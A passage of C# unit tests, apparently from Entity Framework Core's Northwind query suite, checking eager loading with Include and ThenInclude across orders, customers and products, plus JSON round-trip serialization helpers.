ExpectedInclude<OrderDetail>(od => od.Order), new ExpectedInclude<Order>(o => o.Customer, "Order"), new ExpectedInclude<Customer>(c => c.Orders, "Order.Customer"), new ExpectedInclude<OrderDetail>(od => od.Product)), entryCount: 3151); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_multiple_references_and_collection_multi_level_reverse(bool async) { return AssertQuery( async, ss => ss.Set<OrderDetail>().Include(od => od.Product).Include(od => od.Order.Customer.Orders), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<OrderDetail>(od => od.Order), new ExpectedInclude<Order>(o => o.Customer, "Order"), new ExpectedInclude<Customer>(c => c.Orders, "Order.Customer"), new ExpectedInclude<OrderDetail>(od => od.Product)), entryCount: 3151); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_multiple_references_multi_level(bool async) { return AssertQuery( async, ss => ss.Set<OrderDetail>().Include(o => o.Order.Customer).Include(o => o.Product), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<OrderDetail>(od => od.Order), new ExpectedInclude<Order>(o => o.Customer, "Order"), new ExpectedInclude<OrderDetail>(od => od.Product)), entryCount: 3151); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_multiple_references_multi_level_reverse(bool async) { return AssertQuery( async, ss => ss.Set<OrderDetail>().Include(o => o.Product).Include(o => o.Order.Customer), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<OrderDetail>(od => od.Order), new ExpectedInclude<Order>(o => o.Customer, "Order"), new ExpectedInclude<OrderDetail>(od => od.Product)), entryCount: 3151); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_reference(bool async) { return AssertQuery( async, ss => ss.Set<Order>().Include(o => o.Customer), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Order>(o => o.Customer)), entryCount: 919); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public async virtual Task Include_reference_alias_generation(bool async) { await AssertQuery( async, ss => ss.Set<OrderDetail>().Include(o => o.Order), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<OrderDetail>(od => od.Order)), entryCount: 2985); using var context = CreateContext(); var queryable = context.Set<Order>().Include(o => o.Customer).Include(o => o.OrderDetails); var orders = async ? await queryable.ToListAsync() : queryable.ToList(); Assert.Equal(830, orders.Count); TestJsonSerialization(useNewtonsoft: false, ignoreLoops: false, writeIndented: false); TestJsonSerialization(useNewtonsoft: false, ignoreLoops: false, writeIndented: true); TestJsonSerialization(useNewtonsoft: true, ignoreLoops: true, writeIndented: false); TestJsonSerialization(useNewtonsoft: true, ignoreLoops: true, writeIndented: true); TestJsonSerialization(useNewtonsoft: true, ignoreLoops: false, writeIndented: false); TestJsonSerialization(useNewtonsoft: true, ignoreLoops: false, writeIndented: true); void TestJsonSerialization(bool useNewtonsoft, bool ignoreLoops, bool writeIndented) { var ordersAgain = useNewtonsoft ? RoundtripThroughNewtonsoftJson(orders, ignoreLoops, writeIndented) : RoundtripThroughBclJson(orders, ignoreLoops, writeIndented); var ordersMap = ignoreLoops ? null : new Dictionary<int, Order>(); var ordersDetailsMap = ignoreLoops ? null : new Dictionary<(int, int), OrderDetail>(); var customersMap = ignoreLoops ? null : new Dictionary<string, Customer>(); foreach (var order in ordersAgain) { VerifyOrder(context, order, ordersMap); var customer = order.Customer; Assert.Equal(order.CustomerID, customer.CustomerID); VerifyCustomer(context, customer, customersMap); foreach (var orderDetail in order.OrderDetails) { VerifyOrderDetails(context, orderDetail, ordersDetailsMap); if (!ignoreLoops) { Assert.Same(order, orderDetail.Order); } } } } } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_reference_and_collection(bool async) { return AssertQuery( async, ss => ss.Set<Order>().Include(o => o.Customer).Include(o => o.OrderDetails), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Order>(o => o.Customer), new ExpectedInclude<Order>(o => o.OrderDetails)), entryCount: 3074); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_force_alias_uniquefication(bool async) { return AssertQuery( async, ss => from o in ss.Set<Order>().Include(o => o.OrderDetails) where o.CustomerID == "ALFKI" select o, elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Order>(o => o.OrderDetails)), entryCount: 18); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual async Task Include_reference_dependent_already_tracked(bool async) { using var context = CreateContext(); var customer = context.Set<Customer>().Single(o => o.CustomerID == "ALFKI"); Assert.Single(context.ChangeTracker.Entries()); var orders = async ? await context.Set<Order>().Include(o => o.Customer).Where(o => o.CustomerID == "ALFKI").ToListAsync() : context.Set<Order>().Include(o => o.Customer).Where(o => o.CustomerID == "ALFKI").ToList(); Assert.Equal(6, orders.Count); Assert.True(orders.All(o => ReferenceEquals(o.Customer, customer))); Assert.Equal(7, context.ChangeTracker.Entries().Count()); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_reference_single_or_default_when_no_result(bool async) { return AssertSingleOrDefault( async, ss => ss.Set<Order>().Include(o => o.Customer), o => o.OrderID == -1, asserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Order>(o => o.Customer))); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_reference_when_projection(bool async) { return AssertQuery( async, ss => ss.Set<Order>().Include(o => o.Customer).Select(o => o.CustomerID)); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_reference_when_entity_in_projection(bool async) { return AssertQuery( async, ss => ss.Set<Order>().Include(o => o.Customer).Select(o => new { o, o.CustomerID }), elementSorter: e => e.o.OrderID, elementAsserter: (e, a) => { AssertInclude(e.o, a.o, new ExpectedInclude<Order>(o => o.Customer)); AssertEqual(e.CustomerID, a.CustomerID); }, entryCount: 919); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_reference_with_filter(bool async) { return AssertQuery( async, ss => ss.Set<Order>().Include(o => o.Customer).Where(o => o.CustomerID == "ALFKI"), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Order>(o => o.Customer)), entryCount: 7); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_reference_with_filter_reordered(bool async) { return AssertQuery( async, ss => ss.Set<Order>().Where(o => o.CustomerID == "ALFKI").Include(o => o.Customer), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Order>(o => o.Customer)), entryCount: 7); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_references_and_collection_multi_level(bool async) { return AssertQuery( async, ss => ss.Set<OrderDetail>().Include(o => o.Order.Customer.Orders), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<OrderDetail>(od => od.Order), new ExpectedInclude<Order>(o => o.Customer, "Order"), new ExpectedInclude<Customer>(c => c.Orders, "Order.Customer")), entryCount: 3074); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_then_include_collection(bool async) { return AssertQuery( async, ss => ss.Set<Customer>().Include(c => c.Orders).ThenInclude(o => o.OrderDetails), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders), new ExpectedInclude<Order>(o => o.OrderDetails, "Orders")), entryCount: 3076); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_then_include_collection_then_include_reference(bool async) { return AssertQuery( async, ss => ss.Set<Customer>().Include(c => c.Orders).ThenInclude(o => o.OrderDetails).ThenInclude(od => od.Product), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders), new ExpectedInclude<Order>(o => o.OrderDetails, "Orders"), new ExpectedInclude<OrderDetail>(od => od.Product, "Orders.OrderDetails")), entryCount: 3153); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_then_include_collection_predicate(bool async) { return AssertSingleOrDefault( async, ss => ss.Set<Customer>().Include(c => c.Orders).ThenInclude(o => o.OrderDetails), c => c.CustomerID == "ALFKI", asserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders), new ExpectedInclude<Order>(o => o.OrderDetails, "Orders")), entryCount: 19); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_references_and_collection_multi_level_predicate(bool async) { return AssertQuery( async, ss => ss.Set<OrderDetail>().Include(od => od.Order.Customer.Orders).Where(od => od.OrderID == 10248), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<OrderDetail>(od => od.Order), new ExpectedInclude<Order>(o => o.Customer, "Order"), new ExpectedInclude<Customer>(c => c.Orders, "Order.Customer")), entryCount: 9); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_references_multi_level(bool async) { return AssertQuery( async, ss => ss.Set<OrderDetail>().Include(o => o.Order.Customer), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<OrderDetail>(od => od.Order), new ExpectedInclude<Order>(o => o.Customer, "Order")), entryCount: 3074); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_multi_level_reference_then_include_collection_predicate(bool async) { return AssertSingle( async, ss => ss.Set<Order>().Include(o => o.Customer).ThenInclude(c => c.Orders), o => o.OrderID == 10248, asserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Order>(o => o.Customer), new ExpectedInclude<Customer>(c => c.Orders, "Customer")), entryCount: 6); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_multiple_references_then_include_collection_multi_level(bool async) { return AssertQuery( async, ss => ss.Set<OrderDetail>() .Include(od => od.Order).ThenInclude(o => o.Customer).ThenInclude(c => c.Orders) .Include(od => od.Product), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<OrderDetail>(od => od.Order), new ExpectedInclude<Order>(o => o.Customer, "Order"), new ExpectedInclude<Customer>(c => c.Orders, "Order.Customer"), new ExpectedInclude<OrderDetail>(od => od.Product)), entryCount: 3151); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_multiple_references_then_include_collection_multi_level_reverse(bool async) { return AssertQuery( async, ss => ss.Set<OrderDetail>() .Include(od => od.Product) .Include(od => od.Order).ThenInclude(o => o.Customer).ThenInclude(c => c.Orders), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<OrderDetail>(od => od.Order), new ExpectedInclude<Order>(o => o.Customer, "Order"), new ExpectedInclude<Customer>(c => c.Orders, "Order.Customer"), new ExpectedInclude<OrderDetail>(od => od.Product)), entryCount: 3151); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_multiple_references_then_include_multi_level(bool async) { return AssertQuery( async, ss => ss.Set<OrderDetail>() .Include(od => od.Order).ThenInclude(o => o.Customer) .Include(od => od.Product), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<OrderDetail>(od => od.Order), new ExpectedInclude<Order>(o => o.Customer, "Order"), new ExpectedInclude<OrderDetail>(od => od.Product)), entryCount: 3151); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_multiple_references_then_include_multi_level_reverse(bool async) { return AssertQuery( async, ss => ss.Set<OrderDetail>() .Include(od => od.Product) .Include(od => od.Order).ThenInclude(o => o.Customer), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<OrderDetail>(od => od.Order), new ExpectedInclude<Order>(o => o.Customer, "Order"), new ExpectedInclude<OrderDetail>(od => od.Product)), entryCount: 3151); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_references_then_include_collection_multi_level(bool async) { return AssertQuery( async, ss => ss.Set<OrderDetail>() .Include(od => od.Order).ThenInclude(o => o.Customer).ThenInclude(c => c.Orders), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<OrderDetail>(od => od.Order), new ExpectedInclude<Order>(o => o.Customer, "Order"), new ExpectedInclude<Customer>(c => c.Orders, "Order.Customer")), entryCount: 3074); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_references_then_include_collection_multi_level_predicate(bool async) { return AssertQuery( async, ss => ss.Set<OrderDetail>() .Include(od => od.Order).ThenInclude(o => o.Customer).ThenInclude(c => c.Orders) .Where(od => od.OrderID == 10248), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<OrderDetail>(od => od.Order), new ExpectedInclude<Order>(o => o.Customer, "Order"), new ExpectedInclude<Customer>(c => c.Orders, "Order.Customer")), entryCount: 9); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_references_then_include_multi_level(bool async) { return AssertQuery( async, ss => ss.Set<OrderDetail>() .Include(od => od.Order).ThenInclude(o => o.Customer), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<OrderDetail>(od => od.Order), new ExpectedInclude<Order>(o => o.Customer, "Order")), entryCount: 3074); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_with_complex_projection(bool async) { return AssertQuery( async, ss => from o in ss.Set<Order>().Include(o => o.Customer) select new { CustomerId = new { Id = o.Customer.CustomerID } }); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_with_complex_projection_does_not_change_ordering_of_projection(bool async) { return AssertQuery( async, ss => (from c in ss.Set<Customer>().Include(c => c.Orders).Where(c => c.ContactTitle == "Owner").OrderBy(c => c.CustomerID) select new { Id = c.CustomerID, TotalOrders = c.Orders.Count }) .Where(e => e.TotalOrders > 2)); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_with_take(bool async) { return AssertQuery( async, ss => ss.Set<Customer>().OrderByDescending(c => c.ContactName).Include(c => c.Orders).Take(10), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 75); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_with_skip(bool async) { return AssertQuery( async, ss => ss.Set<Customer>().Include(c => c.Orders).OrderBy(c => c.ContactName).Skip(80), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 106); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_with_multiple_conditional_order_by(bool async) { return AssertQuery( async, ss => ss.Set<Order>() .Include(c => c.OrderDetails) .OrderBy(o => o.OrderID > 0) .ThenBy(o => o.Customer != null ? o.Customer.City : string.Empty) .Take(5), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Order>(o => o.OrderDetails)), entryCount: 14); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_with_conditional_order_by(bool async) { return AssertQuery( async, ss => ss.Set<Customer>().Include(c => c.Orders).OrderBy(c => c.CustomerID.StartsWith("S") ? 1 : 2), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), assertOrder: true, entryCount: 921); } [ConditionalTheory(Skip = "issue #15312")] [MemberData(nameof(IsAsyncData))] public virtual async Task Include_specified_on_non_entity_not_supported(bool async) { Assert.Equal( CoreStrings.IncludeNotSpecifiedDirectlyOnEntityType(@"Include(""Item1.Orders"")", "Item1"), (await Assert.ThrowsAsync<InvalidOperationException>( () => AssertQuery( async, ss => ss.Set<Customer>().Select(c => new Tuple<Customer, int>(c, 5)).Include(t => t.Item1.Orders)))).Message); } [ConditionalTheory(Skip = "Issue #12088")] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_GroupBy_Select(bool async) { return AssertQuery( async, ss => ss.Set<Order>() .Where(o => o.OrderID == 10248) .Include(o => o.OrderDetails) .GroupBy(e => e.OrderID) .Select(e => e.OrderBy(o => o.OrderID).FirstOrDefault())); } [ConditionalTheory(Skip = "Issue #12088")] [MemberData(nameof(IsAsyncData))] public virtual Task Include_reference_GroupBy_Select(bool async) { return AssertQuery( async, ss => ss.Set<Order>() .Where(o => o.OrderID == 10248) .Include(o => o.Customer) .GroupBy(e => e.OrderID) .Select(e => e.OrderBy(o => o.OrderID).FirstOrDefault())); } [ConditionalTheory(Skip = "Issue #12088")] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_Join_GroupBy_Select(bool async) { return AssertQuery( async, ss => ss.Set<Order>() .Where(o => o.OrderID == 10248) .Include(o => o.OrderDetails) .Join( ss.Set<OrderDetail>(), o => o.OrderID, od => od.OrderID, (o, od) => o) .GroupBy(e => e.OrderID) .Select(e => e.OrderBy(o => o.OrderID).FirstOrDefault())); } [ConditionalTheory(Skip = "Issue #12088")] [MemberData(nameof(IsAsyncData))] public virtual Task Include_reference_Join_GroupBy_Select(bool async) { return AssertQuery( async, ss => ss.Set<Order>() .Where(o => o.OrderID == 10248) .Include(o => o.Customer) .Join( ss.Set<OrderDetail>(), o => o.OrderID, od => od.OrderID, (o, od) => o) .GroupBy(e => e.OrderID) .Select(e => e.OrderBy(o => o.OrderID).FirstOrDefault())); } [ConditionalTheory(Skip = "Issue #12088")] [MemberData(nameof(IsAsyncData))] public virtual Task Join_Include_collection_GroupBy_Select(bool async) { return AssertQuery( async, ss => ss.Set<OrderDetail>() .Where(od => od.OrderID == 10248) .Join( ss.Set<Order>().Include(o => o.OrderDetails), od => od.OrderID, o => o.OrderID, (od, o) => o) .GroupBy(e => e.OrderID) .Select(e => e.OrderBy(o => o.OrderID).FirstOrDefault())); } [ConditionalTheory(Skip = "Issue #12088")] [MemberData(nameof(IsAsyncData))] public virtual Task Join_Include_reference_GroupBy_Select(bool async) { return AssertQuery( async, ss => ss.Set<OrderDetail>() .Join( ss.Set<Order>().Include(o => o.Customer), od => od.OrderID, o => o.OrderID, (od, o) => o) .GroupBy(e => e.OrderID) .Select(e => e.OrderBy(o => o.OrderID).FirstOrDefault())); } [ConditionalTheory(Skip = "Issue #12088")] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_SelectMany_GroupBy_Select(bool async) { return AssertQuery( async, ss => (from o in ss.Set<Order>().Include(o => o.OrderDetails).Where(o => o.OrderID == 10248) from od in ss.Set<OrderDetail>() select o) .GroupBy(e => e.OrderID) .Select(e => e.OrderBy(o => o.OrderID).FirstOrDefault())); } [ConditionalTheory(Skip = "Issue #12088")] [MemberData(nameof(IsAsyncData))] public virtual Task Include_reference_SelectMany_GroupBy_Select(bool async) { return AssertQuery( async, ss => (from o in ss.Set<Order>().Include(o => o.Customer).Where(o => o.OrderID == 10248) from od in ss.Set<OrderDetail>() select o) .GroupBy(e => e.OrderID) .Select(e => e.OrderBy(o => o.OrderID).FirstOrDefault())); } [ConditionalTheory(Skip = "Issue #12088")] [MemberData(nameof(IsAsyncData))] public virtual Task SelectMany_Include_collection_GroupBy_Select(bool async) { return AssertQuery( async, ss => (from od in ss.Set<OrderDetail>().Where(od => od.OrderID == 10248) from o in ss.Set<Order>().Include(o => o.OrderDetails) select o) .GroupBy(e => e.OrderID) .Select(e => e.OrderBy(o => o.OrderID).FirstOrDefault())); } [ConditionalTheory(Skip = "Issue #12088")] [MemberData(nameof(IsAsyncData))] public virtual Task SelectMany_Include_reference_GroupBy_Select(bool async) { return AssertQuery( async, ss => (from od in ss.Set<OrderDetail>().Where(od => od.OrderID == 10248) from o in ss.Set<Order>().Include(o => o.Customer) select o) .GroupBy(e => e.OrderID) .Select(e => e.OrderBy(o => o.OrderID).FirstOrDefault())); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_reference_distinct_is_server_evaluated(bool async) { return AssertQuery( async, ss => ss.Set<Order>().Where(o => o.OrderID < 10250).Include(o => o.Customer).Distinct(), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Order>(o => o.Customer)), entryCount: 4); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_distinct_is_server_evaluated(bool async) { return AssertQuery( async, ss => ss.Set<Customer>() .Where(c => c.CustomerID.StartsWith("A")) .Include(o => o.Orders) .Distinct(), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 34); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_OrderBy_object(bool async) { return AssertQuery( async, ss => ss.Set<Order>() .Where(o => o.OrderID < 10250) .Include(o => o.OrderDetails) .OrderBy<Order, object>(c => c.OrderID), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Order>(o => o.OrderDetails)), assertOrder: true, entryCount: 7); } [ConditionalTheory(Skip = "Issue#15713")] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_OrderBy_empty_list_contains(bool async) { var list = new List<string>(); return AssertQuery( async, ss => ss.Set<Customer>() .Include(c => c.Orders) .Where(c => c.CustomerID.StartsWith("A")) .OrderBy(c => list.Contains(c.CustomerID)) .Skip(1), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders))); } [ConditionalTheory(Skip = "Issue#15713")] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_OrderBy_empty_list_does_not_contains(bool async) { var list = new List<string>(); return AssertQuery( async, ss => ss.Set<Customer>() .Include(c => c.Orders) .Where(c => c.CustomerID.StartsWith("A")) .OrderBy(c => !list.Contains(c.CustomerID)) .Skip(1), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders))); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_OrderBy_list_contains(bool async) { var list = new List<string> { "ALFKI" }; return AssertQuery( async, ss => ss.Set<Customer>() .Include(c => c.Orders) .Where(c => c.CustomerID.StartsWith("A")) .OrderBy(c => list.Contains(c.CustomerID)) .Skip(1), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 29); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_OrderBy_list_does_not_contains(bool async) { var list = new List<string> { "ALFKI" }; return AssertQuery( async, ss => ss.Set<Customer>() .Include(c => c.Orders) .Where(c => c.CustomerID.StartsWith("A")) .OrderBy(c => !list.Contains(c.CustomerID)) .Skip(1), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 27); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_empty_reference_sets_IsLoaded(bool async) { return AssertFirst( async, ss => ss.Set<Employee>().Include(e => e.Manager), e => e.Manager == null, asserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Employee>(emp => emp.Manager)), entryCount: 1); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_is_not_ignored_when_projection_contains_client_method_and_complex_expression(bool async) { return AssertQuery( async, ss => from e in ss.Set<Employee>().Include(e => e.Manager) where e.EmployeeID == 1 || e.EmployeeID == 2 orderby e.EmployeeID select e.Manager != null ? "Employee " + ClientMethod(e) : "", entryCount: 2); } private static string ClientMethod(Employee e) => e.FirstName + " reports to " + e.Manager.FirstName; private static T RoundtripThroughBclJson<T>(T collection, bool ignoreLoops, bool writeIndented, int maxDepth = 64) { Assert.False(ignoreLoops, "BCL doesn't support ignoring loops."); #if NETCOREAPP5_0 var options = new JsonSerializerOptions { ReferenceHandling = ReferenceHandling.Preserve, WriteIndented = writeIndented, MaxDepth = maxDepth }; return JsonSerializer.Deserialize<T>(JsonSerializer.Serialize(collection, options), options); #else return collection; #endif } private static T RoundtripThroughNewtonsoftJson<T>(T collection, bool ignoreLoops, bool writeIndented) { var options = new Newtonsoft.Json.JsonSerializerSettings { PreserveReferencesHandling = ignoreLoops ? Newtonsoft.Json.PreserveReferencesHandling.None : Newtonsoft.Json.PreserveReferencesHandling.All, ReferenceLoopHandling = ignoreLoops ? Newtonsoft.Json.ReferenceLoopHandling.Ignore : Newtonsoft.Json.ReferenceLoopHandling.Error, EqualityComparer = LegacyReferenceEqualityComparer.Instance, Formatting = writeIndented ? Newtonsoft.Json.Formatting.Indented : Newtonsoft.Json.Formatting.None }; var serializeObject = Newtonsoft.Json.JsonConvert.SerializeObject(collection, options); return Newtonsoft.Json.JsonConvert.DeserializeObject<T>(serializeObject); } private static void VerifyCustomer(NorthwindContext context, Customer customer, Dictionary<string, Customer> customersMap) { var trackedCustomer = context.Customers.Find(customer.CustomerID); Assert.Equal(trackedCustomer.Address, customer.Address); Assert.Equal(trackedCustomer.City, customer.City); Assert.Equal(trackedCustomer.Country, customer.Country); Assert.Equal(trackedCustomer.Fax, customer.Fax); Assert.Equal(trackedCustomer.Phone, customer.Phone); Assert.Equal(trackedCustomer.Region, customer.Region); Assert.Equal(trackedCustomer.CompanyName, customer.CompanyName); Assert.Equal(trackedCustomer.ContactName, customer.ContactName); Assert.Equal(trackedCustomer.ContactTitle, customer.ContactTitle); Assert.Equal(trackedCustomer.IsLondon, customer.IsLondon); Assert.Equal(trackedCustomer.PostalCode, customer.PostalCode); Assert.Equal(trackedCustomer.CustomerID, customer.CustomerID); if (customersMap != null) { if (customersMap.TryGetValue(customer.CustomerID, out var mappedCustomer)) { Assert.Same(customer, mappedCustomer); } customersMap[customer.CustomerID] = customer; } } private static void VerifyOrder(NorthwindContext context, Order order, IDictionary<int, Order> ordersMap) { var trackedOrder = context.Orders.Find(order.OrderID); Assert.Equal(trackedOrder.Freight, order.Freight); Assert.Equal(trackedOrder.OrderDate, order.OrderDate); Assert.Equal(trackedOrder.RequiredDate, order.RequiredDate); Assert.Equal(trackedOrder.ShipAddress, order.ShipAddress); Assert.Equal(trackedOrder.ShipCity, order.ShipCity); Assert.Equal(trackedOrder.ShipCountry, order.ShipCountry); Assert.Equal(trackedOrder.ShipName, order.ShipName); Assert.Equal(trackedOrder.ShippedDate, order.ShippedDate); Assert.Equal(trackedOrder.ShipRegion, order.ShipRegion); Assert.Equal(trackedOrder.ShipVia, order.ShipVia); Assert.Equal(trackedOrder.CustomerID, order.CustomerID); Assert.Equal(trackedOrder.EmployeeID, order.EmployeeID); Assert.Equal(trackedOrder.OrderID, order.OrderID); Assert.Equal(trackedOrder.ShipPostalCode, order.ShipPostalCode); if (ordersMap != null) { if (ordersMap.TryGetValue(order.OrderID, out var mappedOrder)) { Assert.Same(order, mappedOrder); } ordersMap[order.OrderID] = order; } } private static void VerifyOrderDetails(NorthwindContext context, OrderDetail orderDetail, IDictionary<(int, int), OrderDetail> orderDetailsMap) { var trackedOrderDetail = context.OrderDetails.Find(orderDetail.OrderID, orderDetail.ProductID); Assert.Equal(trackedOrderDetail.Discount, orderDetail.Discount); Assert.Equal(trackedOrderDetail.Quantity, orderDetail.Quantity); Assert.Equal(trackedOrderDetail.UnitPrice, orderDetail.UnitPrice); Assert.Equal(trackedOrderDetail.OrderID, orderDetail.OrderID); Assert.Equal(trackedOrderDetail.ProductID, orderDetail.ProductID); if (orderDetailsMap != null) { if (orderDetailsMap.TryGetValue((orderDetail.OrderID, orderDetail.ProductID), out var mappedOrderDetail)) { Assert.Same(orderDetail, mappedOrderDetail); } orderDetailsMap[(orderDetail.OrderID, orderDetail.ProductID)] = orderDetail; } } private static void VerifyProduct(NorthwindContext context, Product product, IDictionary<int, Product> productsMap) { var trackedProduct = context.Products.Find(product.ProductID); Assert.Equal(trackedProduct.Discontinued, product.Discontinued); Assert.Equal(trackedProduct.ProductName, product.ProductName); Assert.Equal(trackedProduct.ReorderLevel, product.ReorderLevel); Assert.Equal(trackedProduct.UnitPrice, product.UnitPrice); Assert.Equal(trackedProduct.CategoryID, product.CategoryID); Assert.Equal(trackedProduct.ProductID, product.ProductID); Assert.Equal(trackedProduct.QuantityPerUnit, product.QuantityPerUnit); Assert.Equal(trackedProduct.SupplierID, product.SupplierID); Assert.Equal(trackedProduct.UnitsInStock, product.UnitsInStock); Assert.Equal(trackedProduct.UnitsOnOrder, product.UnitsOnOrder); if (productsMap != null) { if (productsMap.TryGetValue(product.ProductID, out var mappedProduct)) { Assert.Same(product, mappedProduct); } productsMap[product.ProductID] = product; } } // Issue#18672 [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Multi_level_includes_are_applied_with_skip(bool async) { return AssertFirst( async, ss => (from c in ss.Set<Customer>().Include(e => e.Orders).ThenInclude(e => e.OrderDetails) where c.CustomerID.StartsWith("A") orderby c.CustomerID select new { c.CustomerID, Orders = c.Orders.ToList() }).Skip(1), asserter: (e, a) => { AssertEqual(e.CustomerID, a.CustomerID); AssertCollection(e.Orders, a.Orders, elementAsserter: (eo, ao) => AssertInclude(eo, ao, new ExpectedInclude<Order>(o => o.OrderDetails))); }, entryCount: 14); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Multi_level_includes_are_applied_with_take(bool async) { return AssertFirst( async, ss => (from c in ss.Set<Customer>().Include(e => e.Orders).ThenInclude(e => e.OrderDetails) where c.CustomerID.StartsWith("A") orderby c.CustomerID select new { c.CustomerID, Orders = c.Orders.ToList() }).Take(1), asserter: (e, a) => { AssertEqual(e.CustomerID, a.CustomerID); AssertCollection(e.Orders, a.Orders, elementAsserter: (eo, ao) => AssertInclude(eo, ao, new ExpectedInclude<Order>(o => o.OrderDetails))); }, entryCount: 18); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Multi_level_includes_are_applied_with_skip_take(bool async) { return AssertFirst( async, ss => (from c in ss.Set<Customer>().Include(e => e.Orders).ThenInclude(e => e.OrderDetails) where c.CustomerID.StartsWith("A") orderby c.CustomerID select new { c.CustomerID, Orders = c.Orders.ToList() }).Skip(1).Take(1), asserter: (e, a) => { AssertEqual(e.CustomerID, a.CustomerID); AssertCollection(e.Orders, a.Orders, elementAsserter: (eo, ao) => AssertInclude(eo, ao, new ExpectedInclude<Order>(o => 